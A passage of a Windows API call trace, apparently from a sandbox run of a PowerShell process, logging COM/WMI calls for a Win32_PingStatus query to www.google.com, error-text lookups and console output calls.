rclsid=0x4f3e35c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59ee650 | out: ppv=0x59ee650*=0x4f4afc0) returned 0x0 [0137.006] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4afc0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee868 | out: ppvObject=0x59ee868*=0x0) returned 0x80004002 [0137.006] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x4f4afc0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee874 | out: ppvObject=0x59ee874*=0x4f4b120) returned 0x0 [0137.007] WbemStatusCodeText:IUnknown:Release (This=0x4f4afc0) returned 0x0 [0137.007] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b120, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee494 | out: ppvObject=0x59ee494*=0x4f4b120) returned 0x0 [0137.007] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b120, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee448 | out: ppvObject=0x59ee448*=0x0) returned 0x80004002 [0137.007] WbemStatusCodeText:IUnknown:AddRef (This=0x4f4b120) returned 0x3 [0137.007] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b120, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59edda4 | out: ppvObject=0x59edda4*=0x0) returned 0x80004002 [0137.007] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b120, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59edd54 | out: ppvObject=0x59edd54*=0x0) returned 0x80004002 [0137.007] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b120, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59edd60 | out: ppvObject=0x59edd60*=0x0) returned 0x80004002 [0137.007] CoGetContextToken (in: pToken=0x59eddc0 | out: pToken=0x59eddc0) returned 0x0 [0137.007] CoGetContextToken (in: pToken=0x59ee1d4 | out: pToken=0x59ee1d4) returned 0x0 [0137.007] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b120, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee254 | out: ppvObject=0x59ee254*=0x0) returned 0x80004002 [0137.007] WbemStatusCodeText:IUnknown:Release (This=0x4f4b120) returned 0x2 [0137.007] WbemStatusCodeText:IUnknown:Release (This=0x4f4b120) returned 0x1 [0137.007] CoGetContextToken (in: pToken=0x59ee854 | out: pToken=0x59ee854) returned 0x0 [0137.007] CoGetContextToken (in: pToken=0x59ee7b4 | out: pToken=0x59ee7b4) returned 0x0 [0137.008] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b120, riid=0x59ee884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59ee880 | out: ppvObject=0x59ee880*=0x4f4b120) returned 0x0 [0137.008] WbemStatusCodeText:IUnknown:AddRef (This=0x4f4b120) returned 0x3 [0137.008] WbemStatusCodeText:IUnknown:Release (This=0x4f4b120) returned 0x2 [0137.008] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x4f4b120, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59ee9e4 | out: MessageText=0x59ee9e4*="Not found ") returned 0x0 [0137.008] SysStringByteLen (bstr="Not found ") returned 0x14 [0137.009] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0137.009] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0137.009] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.009] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0137.009] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0137.009] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.009] IWbemClassObject:GetNames (in: This=0x4f387a8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee9d0 | out: pNames=0x59ee9d0*="\x01ƀ\x04") returned 0x0 [0137.009] SafeArrayGetDim (psa=0x507450) returned 0x1 [0137.009] SafeArrayGetDim (psa=0x507450) returned 0x1 [0137.009] SafeArrayGetLBound (in: psa=0x507450, nDim=0x1, plLbound=0x59ee868 | out: plLbound=0x59ee868) returned 0x0 [0137.009] SysStringByteLen (bstr="__GENUS") returned 0xe [0137.009] SysStringByteLen (bstr="__GENUS") returned 0xe [0137.009] SysStringByteLen (bstr="__CLASS") returned 0xe [0137.009] SysStringByteLen (bstr="__CLASS") returned 0xe [0137.009] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0137.009] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0137.009] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0137.010] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0137.010] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0137.010] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0137.010] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0137.010] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0137.010] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0137.010] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0137.010] SysStringByteLen (bstr="__SERVER") returned 0x10 [0137.010] SysStringByteLen (bstr="__SERVER") returned 0x10 [0137.010] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0137.010] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0137.010] SysStringByteLen (bstr="__PATH") returned 0xc [0137.010] SysStringByteLen (bstr="__PATH") returned 0xc [0137.010] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__GENUS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242f8cc*=0, plFlavor=0x242f8d0*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x242f8cc*=3, plFlavor=0x242f8d0*=64) returned 0x0 [0137.010] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242f900*=0, plFlavor=0x242f904*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x242f900*=8, plFlavor=0x242f904*=64) returned 0x0 [0137.010] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0137.010] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0137.010] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242f958*=0, plFlavor=0x242f95c*=0 | out: pVal=0x59ee9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242f958*=8, plFlavor=0x242f95c*=64) returned 0x0 [0137.011] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242f980*=0, plFlavor=0x242f984*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x242f980*=8, plFlavor=0x242f984*=64) returned 0x0 [0137.011] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0137.011] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0137.011] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__RELPATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242f9d8*=0, plFlavor=0x242f9dc*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x242f9d8*=8, plFlavor=0x242f9dc*=64) returned 0x0 [0137.011] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0137.011] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0137.011] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242fbb4*=0, plFlavor=0x242fbb8*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x242fbb4*=3, plFlavor=0x242fbb8*=64) returned 0x0 [0137.012] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242fbe8*=0, plFlavor=0x242fbec*=0 | out: pVal=0x59ee9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5074e0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4afc0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x242fbe8*=8200, plFlavor=0x242fbec*=64) returned 0x0 [0137.012] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SERVER", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242fc1c*=0, plFlavor=0x242fc20*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x242fc1c*=8, plFlavor=0x242fc20*=64) returned 0x0 [0137.012] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0137.012] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0137.012] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242fc68*=0, plFlavor=0x242fc6c*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x242fc68*=8, plFlavor=0x242fc6c*=64) returned 0x0 [0137.012] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0137.012] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0137.012] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242fcb4*=0, plFlavor=0x242fcb8*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x242fcb4*=8, plFlavor=0x242fcb8*=64) returned 0x0 [0137.012] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0137.012] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0137.013] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eea10 | out: puCount=0x59eea10*=0x2) returned 0x0 [0137.013] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0x0, pszText=0x0 | out: puBuffLength=0x59eea0c*=0xf, pszText=0x0) returned 0x0 [0137.013] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.013] IWbemClassObject:Get (in: This=0x4f387a8, wszName="WriteInformationStream", lFlags=0, pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242feec*=0, plFlavor=0x242fef0*=0 | out: pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242feec*=0, plFlavor=0x242fef0*=0) returned 0x80041002 [0137.013] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59ee9f0 | out: pperrinfo=0x59ee9f0*=0x0) returned 0x1 [0137.014] CoGetClassObject (in: rclsid=0x4f3e35c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59ee650 | out: ppv=0x59ee650*=0x4f4afc0) returned 0x0 [0137.015] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4afc0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee868 | out: ppvObject=0x59ee868*=0x0) returned 0x80004002 [0137.015] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x4f4afc0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee874 | out: ppvObject=0x59ee874*=0x4f4b130) returned 0x0 [0137.015] WbemStatusCodeText:IUnknown:Release (This=0x4f4afc0) returned 0x0 [0137.015] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b130, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee494 | out: ppvObject=0x59ee494*=0x4f4b130) returned 0x0 [0137.015] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b130, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee448 | out: ppvObject=0x59ee448*=0x0) returned 0x80004002 [0137.015] WbemStatusCodeText:IUnknown:AddRef (This=0x4f4b130) returned 0x3 [0137.015] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b130, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59edda4 | out: ppvObject=0x59edda4*=0x0) returned 0x80004002 [0137.015] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b130, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59edd54 | out: ppvObject=0x59edd54*=0x0) returned 0x80004002 [0137.015] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b130, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59edd60 | out: ppvObject=0x59edd60*=0x0) returned 0x80004002 [0137.015] CoGetContextToken (in: pToken=0x59eddc0 | out: pToken=0x59eddc0) returned 0x0 [0137.015] CoGetContextToken (in: pToken=0x59ee1d4 | out: pToken=0x59ee1d4) returned 0x0 [0137.015] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b130, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee254 | out: ppvObject=0x59ee254*=0x0) returned 0x80004002 [0137.015] WbemStatusCodeText:IUnknown:Release (This=0x4f4b130) returned 0x2 [0137.015] WbemStatusCodeText:IUnknown:Release (This=0x4f4b130) returned 0x1 [0137.015] CoGetContextToken (in: pToken=0x59ee854 | out: pToken=0x59ee854) returned 0x0 [0137.016] CoGetContextToken (in: pToken=0x59ee7b4 | out: pToken=0x59ee7b4) returned 0x0 [0137.016] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b130, riid=0x59ee884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59ee880 | out: ppvObject=0x59ee880*=0x4f4b130) returned 0x0 [0137.016] WbemStatusCodeText:IUnknown:AddRef (This=0x4f4b130) returned 0x3 [0137.016] WbemStatusCodeText:IUnknown:Release (This=0x4f4b130) returned 0x2 [0137.016] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x4f4b130, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59ee9e4 | out: MessageText=0x59ee9e4*="Not found ") returned 0x0 [0137.016] SysStringByteLen (bstr="Not found ") returned 0x14 [0137.020] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x59eec2c | out: lpConsoleScreenBufferInfo=0x59eec2c) returned 1 [0137.021] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x59ee310, nSize=0x80 | out: lpBuffer="") returned 0x0 [0137.021] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59eec24 | out: lpMode=0x59eec24) returned 1 [0137.065] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2430324*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x59eec18, lpReserved=0x0 | out: lpBuffer=0x2430324*, lpNumberOfCharsWritten=0x59eec18*=0x2) returned 1 [0137.066] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x59eebc8 | out: lpConsoleScreenBufferInfo=0x59eebc8) returned 1 [0137.070] GetConsoleOutputCP () returned 0x1b5 [0137.071] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eea2c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eea2c) returned 0 [0137.072] GetConsoleOutputCP () returned 0x1b5 [0137.072] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeab4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeab4) returned 0 [0137.072] GetConsoleOutputCP () returned 0x1b5 [0137.072] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eea90, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eea90) returned 0 [0137.072] GetConsoleOutputCP () returned 0x1b5 [0137.072] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eea90, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eea90) returned 0 [0137.072] GetConsoleOutputCP () returned 0x1b5 [0137.072] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eea2c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eea2c) returned 0 [0137.072] GetConsoleOutputCP () returned 0x1b5 [0137.073] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeab4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeab4) returned 0 [0137.073] GetConsoleOutputCP () returned 0x1b5 [0137.073] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eea90, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eea90) returned 0 [0137.073] GetConsoleOutputCP () returned 0x1b5 [0137.073] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eea90, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eea90) returned 0 [0137.073] GetConsoleOutputCP () returned 0x1b5 [0137.073] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eea2c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eea2c) returned 0 [0137.073] GetConsoleOutputCP () returned 0x1b5 [0137.073] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeab4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeab4) returned 0 [0137.073] GetConsoleOutputCP () returned 0x1b5 [0137.074] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eea90, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eea90) returned 0 [0137.074] GetConsoleOutputCP () returned 0x1b5 [0137.074] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eea90, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eea90) returned 0 [0137.074] GetConsoleOutputCP () returned 0x1b5 [0137.074] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eea2c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eea2c) returned 0 [0137.074] GetConsoleOutputCP () returned 0x1b5 [0137.074] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeab4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeab4) returned 0 [0137.074] GetConsoleOutputCP () returned 0x1b5 [0137.074] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eea90, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eea90) returned 0 [0137.074] GetConsoleOutputCP () returned 0x1b5 [0137.074] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eea90, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eea90) returned 0 [0137.075] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x59eeb7c | out: lpConsoleScreenBufferInfo=0x59eeb7c) returned 1 [0137.075] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59eeb74 | out: lpMode=0x59eeb74) returned 1 [0137.075] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24310a4*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x59eeb68, lpReserved=0x0 | out: lpBuffer=0x24310a4*, lpNumberOfCharsWritten=0x59eeb68*=0x4f) returned 1 [0137.076] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59eeb74 | out: lpMode=0x59eeb74) returned 1 [0137.076] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2430324*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x59eeb68, lpReserved=0x0 | out: lpBuffer=0x2430324*, lpNumberOfCharsWritten=0x59eeb68*=0x2) returned 1 [0137.076] GetConsoleOutputCP () returned 0x1b5 [0137.077] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb50, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb50) returned 0 [0137.077] GetConsoleOutputCP () returned 0x1b5 [0137.077] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb50, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb50) returned 0 [0137.077] GetConsoleOutputCP () returned 0x1b5 [0137.077] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb50, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb50) returned 0 [0137.077] GetConsoleOutputCP () returned 0x1b5 [0137.077] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb50, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb50) returned 0 [0137.077] GetConsoleOutputCP () returned 0x1b5 [0137.077] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeae0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeae0) returned 0 [0137.077] GetConsoleOutputCP () returned 0x1b5 [0137.078] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeae0, dwFlags=0x2 | out: 